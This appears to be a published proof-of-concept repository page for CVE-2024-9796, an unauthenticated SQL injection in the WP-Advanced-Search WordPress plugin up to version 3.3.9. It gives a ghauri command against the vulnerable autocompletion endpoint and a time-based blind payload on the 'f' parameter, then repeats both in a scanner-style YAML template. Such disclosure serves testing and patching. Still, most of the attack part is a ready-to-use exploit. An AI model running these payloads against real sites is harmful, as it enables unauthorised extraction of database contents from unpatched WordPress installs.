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CVE-2024-9796 PoC — WordPress plugin WP-Advanced-Search 安全漏洞

Source
Associated Vulnerability
Title:WordPress plugin WP-Advanced-Search 安全漏洞 (CVE-2024-9796)
Description:WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress plugin是一个应用插件。 WordPress plugin WP-Advanced-Search 3.3.9.2之前版本存在安全漏洞,该漏洞源于对参数的清理和转义不足,允许未经身份验证的用户执行SQL注入攻击。
Description
WordPress WP-Advanced-Search <= 3.3.9 - Unauthenticated SQL Injection
Readme
---
# CVE-2024-9796
**WordPress WP-Advanced-Search <= 3.3.9 - Unauthenticated SQL Injection Vulnerability**

## Description
The **WP-Advanced-Search** plugin for WordPress (versions up to and including 3.3.9) is vulnerable to SQL injection. This vulnerability exists due to insufficient escaping of user-supplied parameters and lack of SQL query preparation. As a result, unauthenticated attackers can inject additional SQL queries into existing ones, potentially extracting sensitive information from the database.

### Vulnerability Details
- **Type**: Plugin
- **CVSS Score**: 7.5 (High)
- **CVE**: CVE-2024-9796
- **Plugin Slug**: wp-advanced-search

### Download Link
[Download WP-Advanced-Search Version 3.3.9](https://downloads.wordpress.org/plugin/wp-advanced-search.3.3.9.zip)

## Proof of Concept (PoC)
An example of exploiting the SQL injection vulnerability using the `autocompletion-PHP5.5.php` endpoint:

```bash
ghauri -u "https://wpscan-vulnerability-test-bench.ddev.site/wp-content/plugins/wp-advanced-search/class.inc/autocompletion/autocompletion-PHP5.5.php?t=wp_autosuggest&f=words&l=5&type=0&e=utf-8&q=c&limit=5&timestamp=19692269759899"
```

### Payload Example
The following payload demonstrates a time-based blind SQL injection using the vulnerable `f` parameter:

```bash
Parameter: f (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 time-based blind (IF - comment)
Payload: t=wp_autosuggest&f=if(now()=sysdate(),SLEEP(9),0)-- wXyW&l=5&type=0&e=utf-8&q=c&limit=5&timestamp=13672261755853
```

```ymal
id: CVE-2024-9796 

info:
  name: "WordPress WP-Advanced-Search <= 3.3.9 - Unauthenticated SQL Injection"
  author: "Issam Junior"
  severity: "critical"
  metadata:
    verified: true
    max-request: 2
  tags: "github.com/fa-rrel ==> WHAT DO YOU THINK ABOUT ME ?"

variables:
  cve: "CVE-2024-9796"
  plugin_name: "wp-advanced-search"
  plugin_version: "3.3.9"
  type: "plugin"
  description: |
    The WordPress WP-Advanced-Search plugin for WordPress is vulnerable to SQL Injection in all versions up to, and including, 3.3.9. 
    This vulnerability is caused by insufficient escaping on user-supplied parameters and a lack of proper preparation of the existing SQL query.
    This makes it possible for unauthenticated attackers to append arbitrary SQL queries to existing queries, potentially leading to the 
    extraction of sensitive information from the database.
  download_link: "https://downloads.wordpress.org/plugin/wp-advanced-search.3.3.9.zip"
  cvss_score: 7.5

poc:
  - "ghauri -u \"https://wpscan-vulnerability-test-bench.ddev.site/wp-content/plugins/wp-advanced-search/class.inc/autocompletion/autocompletion-PHP5.5.php?t=wp_autosuggest&f=words&l=5&type=0&e=utf-8&q=c&limit=5&timestamp=19692269759899\""
  - "Parameter: f (GET)"
  - "Type: time-based blind"
  - "Title: MySQL >= 5.0.12 time-based blind (IF - comment)"
  - "Payload: t=wp_autosuggest&f=if(now()=sysdate(),SLEEP(9),0)-- wXyW&l=5&type=0&e=utf-8&q=c&limit=5&timestamp=13672261755853'"

```
File Snapshot

[4.0K] /data/pocs/a0bb9c0b1d5b8f16c7516bcb89104b1c838c2227 ├── [1.4K] CVE-2024-9796.yaml └── [2.9K] README.md 0 directories, 2 files
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